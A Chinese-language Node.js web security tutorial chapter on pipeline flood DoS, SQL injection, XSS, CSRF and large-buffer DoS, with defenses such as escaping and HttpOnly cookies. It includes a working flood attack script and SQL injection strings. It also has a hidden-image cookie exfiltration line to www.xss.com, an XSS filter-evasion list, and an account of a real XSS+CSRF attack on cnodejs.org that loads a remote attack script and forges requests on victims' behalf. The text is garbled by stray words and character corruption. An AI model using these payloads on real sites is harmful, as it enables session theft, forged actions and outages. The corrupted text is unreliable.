web安全实战

前言

本章将主要介绍使用Node.js开发web应用可能面临的安全问题,读者经过阅读本章能够了解web安全的基本概念,而且经过各类防护措施抵御一些常规的恶意攻击,搭建一个安全的web站点。javascript

在学习本章以前,读者须要对HTTP协议、SQL数据库、Javascript有所了解。php

什么是web安全

在互联网时代,数据安全与我的隐私受到了史无前例的挑战,咱们做为网站开发者,必须让一个web站点知足基本的安全三要素:css

(1)机密性,要求保护数据内容不能泄露,加密是实现机密性的经常使用手段。html

(2)完整性,要求用户获取的数据是完整不被篡改的,咱们知道不少OAuth协议要求进行sign签名,就是保证了双方数据的完整性。前端

(3)可用性,保证咱们的web站点是可被访问的,网站功能是正常运营的,常见DoS(Denail of Service 拒绝服务)攻击就是破坏了可用性这一点。java

安全的定义和意识

web安全的定义根据攻击手段来分,咱们把它分为以下两类:node

(1)服务安全,确保网络设备的安全运行,提供有效的网络服务。nginx

(2)数据安全,确保在网上传输数据的保密性、完整性和可用性等。git

咱们以后要介绍的SQL注入,XSS攻击等都是属于数据安全的范畴,DoSSlowlori攻击等都是属于服务安全范畴。程序员

在黑客世界中,用帽子的颜色比喻黑客的“善恶”,精通安全技术,工做在反黑客领域的安全专家咱们称之为白帽子,而黑帽子则是利用黑客技术谋取私利的犯罪群体。一样都是搞网络安全研究,黑、白帽子的职责彻底不一样,甚至能够说是对立的。对于黑帽子而言,他们只要找到系统的一个切入点就能够达到入侵破坏的目的,而白帽子必须将本身系统全部可能被突破的地方都设防,保证系统的安全运行。因此咱们在设计架构的时候就应该有安全意识,时刻保持清醒的头脑,可能咱们的web站点100处都布防很好,只有一个点疏忽了,攻击者就会利用这个点进行突破,让咱们另外100处的努力也白费。

一样安全的运营也是很是重要的,咱们为web站点创建起坚固的壁垒,而运营人员随意使用root账号,给核心服务器开通外网访问IP等等一系列违规操做,会让咱们的壁垒瞬间崩塌。

Node.js中的web安全

Node.js做为一门新型的开发语言,不少开发者都会用它来快速搭建web站点,期间随着版本号的更替也修复了很多漏洞。由于Node.js提供的网络接口较PHP更为底层,同时没有如apachenginx等web服务器的前端保护,Node.js应该更加关注安全方面的问题。

Http管道洪水漏洞

在Node.js版本0.8.260.10.21以前,都存在一个管道洪水的拒绝服务漏洞(pipeline flood DoS)。官网在发布这个漏洞修复代码以后,强烈建议在生产环境使用Node.js的版本升级到0.8.260.10.21,由于这个漏洞威力巨大,攻击者能够用很廉价的普通PC轻易的击溃一个正常运行的Node.js的HTTP服务器。

这个漏洞产生的缘由很简单,主要是由于客户端不接收服务端的响应,但客户端又拼命发送请求,形成Node.js的Stream流没法泄洪,主机内存耗尽而崩溃,官网给出的解释以下:

当在一个链接上的客户端有不少HTTP请求管道,而且客户端没有读取Node.js服务器响应的数据,Node.js的服务将可能被击溃。强烈建议任何在生产环境下的版本是0.80.10HTTP服务器都尽快升级。新版本Node.js修复了问题,当服务端在等待stream流的drain事件时,socketHTTP解析将会中止。在攻击脚本中,socket最终会超时,并被服务端关闭链接。若是客户端并非恶意攻击,只是发送大量的请求,可是响应很是缓慢,那么服务端响应的速度也会相应下降。

如今让咱们看一下这个漏洞形成的杀伤力吧,咱们在一台4cpu,4G内存的服务器上启动一个Node.js的HTTP服务,Node.js版本为0.10.7。服务器脚本以下:

var http = require('http');
var buf = new Buffer(1024*1024);//1mb buffer
buf.fill('h');
http.createServer(function (request, response) {
    response.writeHead(200, {'Content-Type': 'text/plain'});
    response.end(buf);
}).listen(8124);
console.log(process.memoryUsage());
setInterval(function(){//per minute memory usage
    console.log(process.memoryUsage());
},1000*60)

上述代码咱们启动了一个Node.js服务器,监听8124端口,响应1mb的字符h,同时每分钟打印Node.js内存使用状况,方便咱们在执行攻击脚本以后查看服务器的内存使用状况。

在另一台一样配置的服务器上启动以下攻击脚本:

var net = require('net');
var attack_str = 'GET / HTTP/1.1\r\nHost: 192.168.28.4\r\n\r\n'
var i = 1000000;//10W次的发送
var client = net.connect({port: 8124, host:'192.168.28.4'},
    function() { //'connect' listener
        while(i--){
          client.write(attack_str);
          }
    });
client.on('error', function(e) {
    console.log('attack success');
});

咱们的攻击脚本加载了net模块,而后定义了一个基于HTTP协议的GET方法的请求头,而后咱们使用tcp链接到Node.js服务器,循环发送10W次GET请求,可是不监听服务端响应事件,也就没法对服务端响应的stream流进行消费。下面是在攻击脚本启动10分钟后,web服务器打印的内存使用状况:

{ rss: 10190848, heapTotal: 6147328, heapUsed: 2632432 }
{ rss: 921882624, heapTotal: 888726688, heapUsed: 860301136 }
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189239056 }
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189251728 }
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189263768 }
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189270888 }
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189278008 }
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189285096 }
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189292216 }
{ rss: 1250893824, heapTotal: 1211065584, heapUsed: 1189301864 }

咱们在服务器执行top命令,查看的系统内存使用状况以下:

Mem:   3925040k total,  3290428k used,   634612k free,   170324k buffers

能够看到,咱们的攻击脚本只用了一个socket链接就消耗掉大量服务器的内存,更可怕的是这部份内存不会自动释放,须要手动重启进程才能回收。攻击脚本执行以后Node.js进程占用内存比以前提升近200倍,若是有2-3个恶意攻击socket链接,服务器物理内存必然用完,而后开始频繁的交换,从而失去响应或者进程崩溃。

SQL注入

从1998年12月SQL注入首次进入人们的视线,至今已经有十几年了,虽然咱们已经有了很全面的防范SQL注入的对策,可是它的威力仍然不容小觑。

注入技巧

SQL注入你们确定不会陌生,下面就是一个典型的SQL注入示例:

var userid = req.query["userid"];
var sqlStr = 'select * from user where id="'+ userid +'"';
connection.query(sqlStr, function(err, userObj) {
    // ...
});

正常状况下,咱们均可以获得正确的用户信息,好比用户经过浏览器访问/user/info?id=11进入我的中心,而咱们根据用户传递的id参数展示此用户的详细信息。可是若是有恶意用户的请求地址为/user/info?id=11";drop table user--,那么最后拼接而成的SQL查询语句就是:

select * from user where id = "11";drop table user--

注意最后连续的两个减号表示忽略此SQL语句后面的语句。本来执行的查询用户信息的SQL语句,在执行完毕以后会把整个user表丢弃掉。

这是另一个简单的注入示例,好比用户的登陆接口查询,咱们会根据用户的登陆名和密码去数据库查找匹配,若是找到相应的记录,则表示用户名和密码匹配,提示用户登陆成功;若是没有找到记录,则认为用户名或密码错误,表示登陆失败,代码以下:

var username = req.body["username"];
var password = md5(req.body["password"]+salt);//对密码加密
var sqlStr = 'select * from user where username="'+ username +'" and password="'+ password +'";

若是咱们提交上来的用户名参数是这样的格式:snoopy" and 1=1--,那么拼接以后的SQL查询语句就是以下内容:

select * from user where username = "snoopy" and 1=1-- " and password="698d51a19d8a121ce581499d7b701668";

执行这样的SQL语句永远会匹配到用户数据,就算咱们不知道密码也能顺利登陆到系统。若是在咱们尝试注入SQL的网站开启了错误提示显示,会为攻击者提供便利,好比攻击者经过反复调整发送的参数、查看错误信息,就能够猜想出网站使用的数据库和开发语言等信息。

好比有一个信息发布网站,它的新闻详细页面url地址为/news/info?id=11,咱们经过分别访问/news/info?id=11 and 1=1/news/info?id=11 and 1=2,就能够基本判断此网站是否存在SQL注入漏洞,若是前者能够访问然后者页面没法正常显示的话,那就能够判定此网站是经过以下的SQL来查询某篇新闻内容的:

var sqlStr = 'select * from news where id="'+id+'"';

由于1=2这个表达式永远不成立,因此就算id参数正确也没法经过此SQL语句返回真正的数据,固然就会出现没法正常显示页面的状况。咱们能够使用一些检测SQL注入点的工具来扫描一个网站哪些地方具备SQL注入的可能。

经过url参数和form表单提交的数据内容,开发者一般都会为之作严密防范,开发人员一定会对用户提交上来的参数作一些正则判断和过滤,再丢到SQL语句中去执行。可是开发人员可能不太会去关注用户HTTP的请求头,好比cookie中存储的用户名或者用户id,referer字段以及User-Agent字段。

好比,有的网站可能会去记录注册用户的设备信息,一般记录用户设备信息是根据请求头中的User-Agent字段来判断的,拼接以下查询字符串就有存在SQL注入的可能。

var username = escape(req.body["username"]);//使用escape函数,过滤SQL注入
var password = md5(req.body["password"]+salt);//对密码加密
var agent = req.header["user-agent"];//注意Node.js的请求头字段都是小写的
var sqlStr = 'insert into user username,password,agent values "'+username+'", "'+password+'", "'+agent+'"';

这时候咱们经过发包工具,伪造HTTP请求头,若是将请求头中的User-Agent修改成:';drop talbe user--,咱们就成功注入了网站。

防范措施

防范SQL注入的方法很简单,只要保证咱们拼接到SQL查询语句中的变量都通过escape过滤函数,就基本能够杜绝注入了,因此咱们必定要养成良好的编码习惯,对客户端请求过来的任何数据都要持怀疑态度,将它们过滤以后再丢到SQL语句中去执行。咱们也能够使用一些比较成熟的ORM框架,它们会帮咱们阻挡掉SQL注入攻击。

XSS脚本攻击

XSS是什么?它的全名是:Cross-site scripting,为了和CSS层叠样式表区分,因此取名XSS。它是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它容许恶意用户将代码注入到网页上,其余用户在观看网页时就会受到影响。这类攻击一般包含了HTML标签以及用户端脚本语言。

名城苏州网站注入

XSS注入常见的重灾区是社交网站和论坛,越是让用户自由输入内容的地方,咱们就越要关注其可否抵御XSS攻击。XSS注入的攻击原理很简单,构造一些非法的url地址或js脚本让HTML标签溢出,从而形成注入。通常引诱用户点击才触发的漏洞咱们称为反射性漏洞,用户打开页面就触发的称为注入型漏洞,固然注入型漏洞的危害更大一些。下面先用一个简单的实例来讲明XSS注入无处不在。

名城苏州(www.2500sz.com),是苏州本地门户网站,日均的pv数也达到了150万,它的论坛用户数不少,是本地化新闻、社区论坛作的比较成功的一个网站。

接下来咱们将演示一个注入到2500sz.com的案例,咱们先注册成一个2500sz.com站点会员,进入论坛板块,开始发布新帖。打开发帖页面,在web编辑器中输入以下内容:

2500 xss 1

上面的代码即为分享一个网络图片,咱们在图片的src属性中直接写入了javascript:alert('xss');,操做成功后生成帖子,用IE六、7的用户打开此帖子就会出现下图的alert('xss')弹窗。

2500 xss 2

固然咱们要将标题设计的很是夺人眼球,好比“Pm2.5雾霾真相披露” ,而后将里面的alert换成以下恶意代码:

location.href='http://www.xss.com?cookie='+document.cookie;

这样咱们就获取到了用户cookie的值,若是服务端session设置过时很长的话,之后就能够伪造这个用户的身份成功登陆而再也不须要用户名密码,关于sessioncookie的关系咱们在下一节中将会详细讲到。这里的location.href只是出于简单,若是作了跳转这个帖子很快会被管理员删除,但咱们写以下代码,而且帖子的内容也是真实的,那么就会祸害不少人:

var img = document.createElement('img');
img.src='http://www.xss.com?cookie='+document.cookie;
img.style.display='none';
document.getElementsByTagName('body')[0].appendChild(img);

这样就神不知鬼不觉的把当前用户cookie的值发送到恶意站点,恶意站点经过GET参数,就能获取用户cookie的值。经过这个方法能够拿到用户各类各样的私密数据。

Ajax的XSS注入

另外一处容易形成XSS注入的地方是Ajax的不正确使用。

好比有这样的一个场景,在一篇博文的详细页,不少用户给这篇博文留言,为了加快页面加载速度,项目经理要求先显示博文的内容,而后经过Ajax去获取留言的第一页信息,留言功能经过Ajax分页保证了页面的无刷新和快速加载,此作法的好处有:

(1)加快了博文详细页的加载,提高了用户体验,由于留言信息每每有用户头像、昵称、id等等,须要多表查询,且通常用户会先看博文,再拉下去看留言,这时留言已加载完毕。

(2)Ajax的留言分页能更快速响应,用户没必要每次分页都让博文从新刷新。

因而前端工程师从PHP那获取了json数据以后,将数据放入DOM文档中,你们能看出下面代码的问题吗?

var commentObj = $('#comment');
$.get('/getcomment', {r:Math.random(),page:1,article_id:1234},function(data){
    //经过Ajax获取评论内容,而后将品论的内容一块儿加载到页面中
    if(data.state !== 200)  return commentObj.html('留言加载失败。')
    commentObj.html(data.content);
},'json');

咱们设计的初衷是,PHP程序员将留言内容套入模板,返回json格式数据,示例以下:

{"state":200, "content":"模板的字符串片断"}

若是没有看出问题,你们能够打开firebug或者chrome的开发人员工具,直接把下面代码粘贴到有JQuery插件的网站中运行:

$('div:first').html('<div><script>alert("xss")</script><div>');

正常弹出了alert框,你可能以为这比较小儿科。

若是PHP程序员已经转义了尖括号<>还有单双引号"',那么上面的恶意代码会被漂亮的变成以下字符输出到留言内容中:

$('div:first').html('&lt;script&gt; alert(&quot;xss&quot;)&lt;/script&gt; ');

这里咱们须要表扬一下PHP程序员,能够将一些常规的XSS注入都屏蔽掉,可是在utf-8编码中,字符还有另外一种表示方式,那就是unicode码,咱们把上面的恶意字符串改写成以下:

$('div:first').html('<div>\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u003e\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e</div>');

你们发现仍是输出了alert框,只是此次须要将写好的恶意代码放入转码工具中作下转义,webqq曾经就爆出过上面这种unicode码的XSS注入漏洞,另外有不少反射型XSS漏洞由于过滤了单双引号,因此必须使用这种方式进行注入。

base64注入

除了比较老的ie六、7浏览器,通常浏览器在加载一些图片资源的时候咱们能够使用base64编码显示指定图片,好比下面这段base64编码:

<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEU (... 省略若干字符) AAAASUVORK5CYII=" />

表示的就是一张Node.js官网的logo,图片以下:

base64 logo

咱们通常使用这样的技术把一些网站经常使用的logo或者小图标转存成为base64编码,进而减小一次客户端向服务器的请求,加快用户加载页面速度。

咱们还能够把HTML页面的代码隐藏在data属性之中,好比下面的代码将打开一个hello world的新页面。

<a href="data:text/html;ascii,<html><title>hello</title><body>hello world</body></html>">click me</a>

根据这样的特性,咱们就能够尝试把一些恶意的代码转存成为base64编码格式,而后注入到a标签里去,从而造成反射型XSS漏洞,咱们编码以下代码。

<img src=x onerror=alert(1)>

通过base64编码以后的恶意代码以下。

<a href="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">base64 xss</a>

用户在点击这个超连接以后,就会执行如上的恶意alert弹窗,就算网站开发者过滤了单双引号",'和左右尖括号<>,注入仍是可以生效的。

不过这样的注入由于跨域的问题,恶意脚本是没法获取网站的cookie值。另外若是网站提供咱们自定义flash路径,也是能够使用相同的方式进行注入的,下面是一段规范的在网页中插入flash的代码:

<object type="application/x-shockwave-flash" data="movie.swf" width="400" height="300">
<param name="movie" value="movie.swf" />
</object>

把data属性改写成以下恶意内容,也可以经过base64编码进行注入攻击:

<script>alert("Hello");</script>

通过编码事后的注入内容:

<object data="data:text/html;base64, PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4="></object>

用户在打开页面后,会弹出alert框,可是在chrome浏览器中是没法获取到用户cookie的值,由于chrome会认为这个操做不安全而禁止它,看来咱们的浏览器为用户安全也作了很多的考虑。

经常使用注入方式

注入的根本目的就是要HTML标签溢出,从而执行攻击者的恶意代码,下面是一些经常使用攻击手段:

(1)alert(String.fromCharCode(88,83,83)),经过获取字母的ascii码来规避单双引号,这样就算网站过滤掉单双引号也仍是能够成功注入的。

(2)<IMG SRC=JaVaScRiPt:alert('XSS')>,经过注入img标签来达到攻击的目的,这个只对ie6和ie7下有效,意义不大。

(3)<IMG SRC=""onerror="alert('xxs')">,若是能成功闭合img标签的src属性,那么加上onload或者onerror事件能够更简单的让用户遭受攻击。

(4)<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>,这种方式也只有对ie6奏效。

(5)<IMG SRC="jav ascript:alert('XSS');"><IMG SRC=java\0script:alert(\"XSS\")>,<IMG SRC="jav&#x0D;ascript:alert('XSS');">,咱们也能够把关键字Javascript分开写,避开一些简单的验证,这种方式ie6通通中招,因此ie6真不是安全的浏览器。

(6)<LINK REL="stylesheet" HREF="javascript:alert('XSS');">,经过样式表也能注入。

(7)<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>,若是能够自定义style样式,也可能被注入。

(8)<IFRAME SRC="javascript:alert('XSS');"></IFRAME>,iframe的标签也可能被注入。

(9)<a href="javasc&NewLine;ript&colon;alert(1)">click</a>,利用&NewLine;假装换行,&colon;假装冒号,从而避开对Javascript关键字以及冒号的过滤。

其实XSS注入过程充满智慧,只要你反复尝试各类技巧,就可能在网站的某处攻击成功。总之,发挥你的想象力去注入吧,最后别忘了提醒下站长哦。更多XSS注入方式参阅:(XSS Filter Evasion Cheat Sheet)[https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet]

防范措施

对于防范XSS注入,其实只有两个字过滤,必定要对用户提交上来的数据保持怀疑,过滤掉其中可能注入的字符,这样才能保证应用的安全。另外,对于入库时过滤仍是读库时过滤,这就须要根据应用的类型来进行选择了。下面是一个简单的过滤HTML标签的函数代码:

var escape = function(html){
  return String(html)
    .replace(/&(?!\w+;)/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#039;');
};

不过上述的过滤方法会把全部HTML标签都转义,若是咱们的网站应用确实有自定义HMTL标签的需求的话,它就力不从心了。这里我推荐一个过滤XSS注入的模块,由本书另外一位做者老雷提供:js-xss

CSRF请求伪造

CSRF是什么呢?CSRF全名是Cross-site request forgery,是一种对网站的恶意利用,CSRFXSS更具危险性。

Session详解

想要深刻理解CSRF攻击的特性,咱们必须了解网站session的工做原理。

session我想你们都不会陌生,不管你用Node.js或PHP开发过网站的确定都用过session对象,假如我把浏览器的cookie禁用了,你们认为session还能正常工做吗?

答案是否认的,我举个简单的例子来帮助你们理解session的含义。

好比我办了一张超市的储值会员卡,我能享受部分商品打折的优惠,个人我的资料以及卡内余额都是保存在超市会员数据库里的。每次结帐时,出示会员卡超市便能知道个人身份,随即进行打折优惠并扣除卡内相应余额。

这里咱们的会员卡卡号就至关于保存在cookie中的sessionid,而个人我的信息就是保存在服务端的session对象,由于cookie有两个重要特性,(1)同源性,保证了cookie不会跨域发送形成泄密;(2)附带性,保证每次请求服务端都会在请求头中带上cookie信息。也就是这两个特性为咱们识别用户带来的便利,由于HTTP协议是无状态的,咱们之因此知道请求用户的身份,其实就是获取了用户请求头中的cookie信息。

固然session对象的保存方法多种多样,能够保存在文件中,也能够是内存里。考虑到分布式的横向扩展,咱们仍是建议生产环境把它保存在第三方媒介中,好比redis或者mongodb,默认的express框架是将session对象保存在内存里的。

除了用cookie保存sessionid,咱们还能够使用url参数来保存sessionid,只不过每次请求都须要在url里带上这个参数,根据这个参数,咱们就能识别这次请求的用户身份了。

另外近阶段利用Etag来保存sessionid也被使用在用户行为跟踪上,Etag是静态资源服务器对用户请求头中if-none-match的响应,通常咱们第一次请求某一个静态资源是不会带上任何关于缓存信息的请求头的,这时候静态资源服务器根据此资源的大小和最终修改时间,哈希计算出一个字符串做为Etag的值响应给客户端,以下图:

etag 1

第二次当咱们再访问这个静态资源的时候,因为本地浏览器具备此图片的缓存,可是不肯定服务器是否已经更新掉了这个静态资源,因此在发起请求的时候会带上if-none-match参数,其值就是上次请求服务器响应的Etag值。服务器接收到这个if-none-match的值,再根据原算法去生成Etag值,进行比对。若是两个值相同,则说明该静态资源没有被更新,因而响应状态码304,告诉浏览器放心的使用本地缓存,远程资源没有更新,结果以下图:

etag 2

固然若是远程资源有变更,则服务器会响应一份新的资源给浏览器,而且Etag的值也会不一样。根据这样的一个特性,咱们能够得出结论,在用户第一次请求某一个静态资源的时候咱们响应给它一个全局惟一的Etag值,在用户不清空缓存的状况下,用户下次再请求到服务器,仍是会带上同一个Etag值的,因而咱们能够利用这个值做为sessionid,而咱们在服务器端保存这些Etag值和用户信息的对应关系,也就能够利用Etag来标识出用户身份了。

CSRF的危害性

在咱们理解了session的工做机制后,CSRF攻击也就很容易理解了。CSRF攻击就至关于恶意用户复制了个人会员卡,用个人会员卡享受购物的优惠折扣,更能够使用我购物卡里的余额购买他的东西!

CSRF的危害性已经不言而喻了,恶意用户能够伪造某一个用户的身份给其好友发送垃圾信息,这些垃圾信息的超连接可能带有木马程序或者一些诈骗信息(好比借钱之类的)。若是发送的垃圾信息还带有蠕虫连接的话,接收到这些有害信息的好友一旦打开私信中的连接,就也成为了有害信息的散播者,这样数以万计的用户被窃取了资料、种植了木马。整个网站的应用就可能在短期内瘫痪。

MSN网站,曾经被一个美国的19岁小伙子Samy利用cssbackground漏洞几小时内让100多万用户成功的感染了他的蠕虫,虽然这个蠕虫并无破坏整个应用,只是在每个用户的签名后面都增长了一句“Samy 是个人偶像”,可是一旦这些漏洞被恶意用户利用,后果将不堪设想。一样的事情也曾经发生在新浪微博上。

想要CSRF攻击成功,最简单的方式就是配合XSS注入,因此千万不要小看了XSS注入攻击带来的后果,不是alert一个对话框那么简单,XSS注入仅仅是第一步!

cnodejs官网攻击实例

本节将给你们带来一个真实的攻击案例,学习Node.js编程的爱好者们确定都访问过cnodejs.org,早期cnodejs仅使用一个简单的Markdown编辑器做为发帖回复的工具并无作任何限制,在编辑器过滤掉HTML标签以前,整个社区alert弹窗满天飞,下图就是修复这个漏洞以前的各类注入状况:

csrf 1

先分析一下cnodejs被注入的缘由,其实原理很简单,就是直接能够在文本编辑器里写入代码,好比:

<script>alert("xss")</script>

如此光明正大的注入确定会引发站长们的注意,因而站长关闭了markdown编辑器的HTML标签功能,强制过滤直接在编辑器中输入的HTML标签。

cnodejs注入的风波暂时平息了,不过真的禁用了全部输入的HTML标签就安全了吗?咱们打开cnodejs网站的发帖页面,发现编辑器其实仍是能够插入超连接的,这个功能就是为了帮助开发者分享本身的web站点以及学习资料:

csrf 2

通常web编辑器的超连接功能最有可能成为反射型XSS的注入点,下面是web编辑器一般采起的超连接功能实现的原理,根据用户填写的超连接地址,生成<a>标签:

<a href="用户填写的超连接地址">用户填写的超连接描述</a>

一般咱们能够经过下面两种方式注入<a>标签:

(1)用户填写的超连接内容 = javascript:alert("xss");
(2)用户填写的超连接内容 = http://www.baidu.com#"onclick="alert('xss')"

方法(1)是直接写入js代码,通常都会被禁用,由于服务端通常会验证url 地址的合法性,好比是不是http或者https开头的。

方法(2)是利用服务端没有过滤双引号,从而截断<a>标签href属性,给这个<a>标签增长onclick事件,从而实现注入。

很惋惜,通过升级的cnodejs网站编辑器将双引号过滤,因此方法(2)已经行不通了。可是cnodejs并无过滤单引号,单引号咱们也是能够利用的,因而咱们注入以下代码:

csrf 3

咱们伪造了一个标题为bbbb的超连接,而后在href属性里直接写入js代码alert,最后咱们利用js的注释添加一个双引号结尾,企图尝试双引号是否转义。若是单引号也被转义咱们还能够尝试使用String.fromCharCode();的方式来注入,上图href属性也能够改成:

<a href="javascript:eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41))">用户填写的超连接描述</a>

下图就是XSS注入成功,<a>标签侧漏的图片:

csrf 4

在进行一次简单的CSRF攻击以前,咱们须要了解通常网站是如何防范CSRF的。

网站一般在须要提交数据的地方埋入一个隐藏的input框,这个input框的name值多是_csrf或者_input等,这个隐藏的input框就是用来抵御CSRF攻击的,若是攻击者引导用户在其余网站发起post请求提交表单时,会由于隐藏框的_csrf值不一样而验证失败,这个_csrf值将会记录在session对象中,因此在其余恶意网站是没法获取到这个值的。

可是当站点被XSS注入以后,隐藏框的防护CSRF功能将完全失效。回到cnodejs站点,查看源码,咱们看到网站做者把_csrf值放到闭包内,而后经过模版渲染直接输出,这样看上去能够防护注入的脚本直接获取_csrf的值,可是真的这样吗?咱们看下面代码的运行截图:

csrf 5

咱们用Ajax请求本页地址,而后获取整个页面的文本,经过正则将_csrf的值匹配出来,拿到_csrf值后咱们就能够随心所欲了,咱们此次的攻击的目的有2个:

(1)将我所发的这篇恶意主题置顶,要让更多的用户看到,想要帖子置顶,就必须让用户自动回复,可是若是一旦疯狂的自动回复,确定会被管理员发现,将致使主题被删除或者引发其余受害者的注意。因此我构想了以下流程,先自动回复主题,而后自动删除回复的主题,这样就神不知鬼不觉了,用户也不会发现本身回复过了,管理员也不会在乎,由于帖子并无显示垃圾信息。

(2)增长账号snoopy的粉丝数,要让受害者关注snoopy这个账号,咱们只要直接伪造受害者请求,发送到关注账号的接口地址便可,固然这也是在后台运行的。

下面是咱们须要用到的cnodejs站点HTTP接口地址:

(1)发布回复
url地址:http://cnodejs.org/503cc6d5f767cc9a5120d351/reply
post数据:
r_content:顶起来,必须的
_csrf:Is5z5W5KmmKwlIAYV5UDly9F

(2)删除回复
请求地址:http://cnodejs.org/reply/504ffd5d5aa28e094300fd3a/delete
post数据:
reply_id:504ffd5d5aa28e094300fd3a
_csrf:Is5z5W5KmmKwlIAYV5UDly9F

(3)关注
请求地址: http://cnodejs.org/ user/follow
post数据:
follow_id: '4efc278525fa69ac690000f7',//我在cnodejs网站的用户id
_csrf:Is5z5W5KmmKwlIAYV5UDly9F

接口咱们都拿到了,而后就是构建攻击js脚本了,咱们的js脚本攻击流程就是:

(1)获取_csrf

(2)发布回复

(3)删除回复

(4)加关注

(5)跳转到正常的地址(防止用户发现)

最后咱们将整个攻击脚本放在NAE上(如今NAE已经关闭了,当年是比较流行的一个部署Node.js的云平台),而后将攻击代码注入到<a>标签:

javascript:$.getScript('http://rrest.cnodejs.net/static/cnode_csrf.js') //"id='follow_btn'name='http://rrest.cnodejs.net/static/cnode_csrf.js' onmousedown='$.getScript(this.name)//'

此次的注入攻击chromefirefoxie7+等主流浏览器都无一幸免,下面是注入成功的截图:

csrf 6

不一会就有许多网友中招了,个人关注信息记录多了很多:

csrf 7

经过此次XSSCSRF的联袂攻击,snoopy成为了cnodejs粉丝数最多的账号。回顾整个流程,主要仍是依靠XSS注入才完成了攻击,因此咱们想要让站点更加安全,任何XSS可能的注入点都必定要紧紧把关,完全过滤掉任何可能有风险的字符。

csrf 8

另外值得一提的是cookie的劫持,恶意用户在XSS注入成功以后,通常会用document.cookie来获取用户站点的cookie值,从而伪造用户身份形成破坏。存储在浏览器端的cookie有一个很是重要的属性HttpOnly,当标识有HttpOnly属性的cookie,攻击者是没法经过js脚本document.cookie获取的,因此对于通常sessionid的存储咱们都建议在写入客户端cookie时带上HttpOnlyexpress在写cookie带上HttpOnly属性的代码以下:

res.cookie('rememberme', '1', { expires: new Date(Date.now() + 900000), httpOnly: true });

应用层DoS拒绝服务

本章将介绍在应用层面的DoS攻击,应用层一些很小的漏洞,就有可能被攻击者抓住从而形成整个系统瘫痪,包括上面提到的Node.js管道拒绝服务漏洞都是属于这类攻击。

应用层和网络层的DoS

最经典的网络层DoS就是SYN flood,它利用了tcp协议的设计缺陷,因为tcp协议的普遍使用,因此目前想要根治这个漏洞是不可能的。

tcp的客户端和服务端想要创建链接须要通过三次握手的过程,它们分别是:

(1)客户端向服务端发送SYN包

(2)服务端向客户端发送SYN/ACK包

(3)客户端向服务端发送ACK包

攻击者首先使用大量肉鸡服务器并伪造源ip地址,向服务端发送SYN包,但愿创建tcp链接,服务端就会正常的响应SYN/ACK包,等待客户端响应。攻击客户端并不会去响应这些SYN/ACK包,服务端判断客户端超时就会丢弃这个链接。若是这些攻击链接数量巨大,最终服务器就会由于等待和频繁处理这种半链接而失去对正常请求的响应,从而致使拒绝服务攻击成功。

一般咱们会依靠一些硬件的防火墙来减轻这类攻击带来的危害,网络层的DDoS攻击防护算法很是复杂,咱们本节将讨论应用层的DoS攻击。

应用层的DoS攻击伴随着必定的业务和web服务器的特性,因此攻击更加多样化。目前的商业硬件设备很难对其作到有效的防护,所以它的危害性绝对不比网络层的DDoS低。

好比黑客在攻陷了几个流量比较大的网站以后,在网页中注入以下代码:

<iframe src="http://attack web site url"></iframe>

这样每一个访问这些网站的客户端都成了黑客攻击目标网站的帮手,若是被攻击的路径是一些须要大量I/O计算的接口的话,该目标网站将会很快失去响应,黑客DoS攻击成功。

关注应用层的DoS每每须要从实际业务入手,找到可能被攻击的地方,作针对性的防护。

超大Buffer

在开发中总有这样的web接口,接收用户传递上来的json字符串,而后将其保存到数据库中,咱们简单构建以下代码:

var http = require('http');
http.createServer(function (req, res) {
  if(req.url === '/json' && req.method === 'POST'){//获取用上传代码
  var body = [];
    req.on('data',function(chunk){
      body.push(chunk);//获取buffer
    })
    req.on('end',function(){
      body = Buffer.concat(body);
      res.writeHead(200, {'Content-Type': 'text/plain'});
      //db.save(body) 这里是数据库入库操做
      res.end('ok');
    })  
  }
}).listen(8124);

咱们使用buffer数组,保存用户发送过来的数据,最后经过Buffer.concat将全部buffer链接起来,并插入到数据库。

注意这部分代码:

req.on('data',function(chunk){
      body.push(chunk);//获取buffer
})

不能用下面简单的字符串拼接来代替,可能我收到的内容不是utf-8格式,另外从拼接性能上来讲二者也不是一个数量级的,咱们看以下测试:

var buf = new Buffer('nodejsv0.10.4&nodejsv0.10.4&nodejsv0.10.4&nodejsv0.10.4&');
console.time('string += buf');
var s = '';
for(var i=0;i<100000;i++){
    s += buf;
}
s;
console.timeEnd('string += buf');


console.time('buf concat');
var list = [];
var len=0;
for(var i=0;i<100000;i++){
    list.push(buf);
    len += buf.length;
}
var s2 = Buffer.concat(list, len).toString();
console.timeEnd('buf concat');

这个测试脚本分别使用两种不通的方式将buf链接10W次,并返回字符串,咱们看下运行结果:

string += buf: 66ms
buf concat: 33ms

咱们看到,运行性能相差了整整一倍,因此当咱们在处理这类状况的数据时,建议使用Buffer.concat来作。

如今开始构建一个超大的具备700mbbuffer,而后把它保存成文件:

var fs = require('fs');
var buf = new Buffer(1024*1024*700);
buf.fill('h');
fs.writeFile('./large_file', buf, function(err){
  if(err) return console.log(err);
  console.log('ok')
})

咱们构建攻击脚本,把这个超大的文件发送出去,若是接收这个POST的Node.js服务器是内存只有512mb的小型云主机,那么当攻击者上传这个超大文件后,云主机内存会消耗殆尽。

var http = require('http');
